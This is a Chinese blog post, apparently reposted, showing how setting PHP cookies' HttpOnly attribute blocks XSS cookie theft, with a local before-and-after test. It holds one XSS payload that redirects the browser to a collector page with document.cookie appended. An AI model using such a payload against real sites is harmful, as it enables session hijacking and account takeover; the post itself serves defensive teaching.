cookie设置httponly属性防护XSS攻击


攻击者利用XSS漏洞获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,攻击这里用获取的COOKIE登陆账号,并进行非法操作。

COOKIE设置httponly属性可以化解XSS漏洞攻击带来的窃取cookie的危害。


PHP中COOKIE设置方法:

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

最后一个字段false是为不设置httponly属性,true为已设置httponly属性。


测试内容:

本次测试环境,搭建一个包含XSS漏洞的php环境。

地址:http://localhost/home.php

如图所示:

wKioL1hsi9ThLJtKAAARVf5-0l0104.jpg

存在xss漏洞,获取cookie的代码为:

<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>


获取COOKIE的页面为:http://localhost/cookie_collect.php

如图所示:

wKioL1hsjB7g21ICAAAm-wm7SP8097.jpg


测试01

未设置httponly属性,cookie设置为:

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

测试结果:

获取到cookie的内容,如图所示:

wKioL1hsjP_T7w7uAAAvmccWZaY149.jpg-wh_50

访问日志内容为:

wKiom1hsjYLiS_JJAABGWiXDlus217.jpg-wh_50

测试结果:利用跨站漏洞可以获取cookie内容。

测试02

设置httponly属性,cookie设置为:

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);

?>

测试结果:

未获取到cookie的内容,如图所示:

wKiom1hsjmfwzf0NAAAgFJQssXg106.jpg-wh_50

访问日志内容为:

wKiom1hsjr3Ci9D1AAAuMBXMc7c721.jpg-wh_50

测试结果:利用跨站漏洞不能够获取cookie内容。


本文出自 “Mask_X 博客” 博客,请务必保留此出处http://zhpfbk.blog.51cto.com/4757027/1888902

智能推荐

注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
© 2014-2019 ITdaan.com 粤ICP备14056181号  

赞助商广告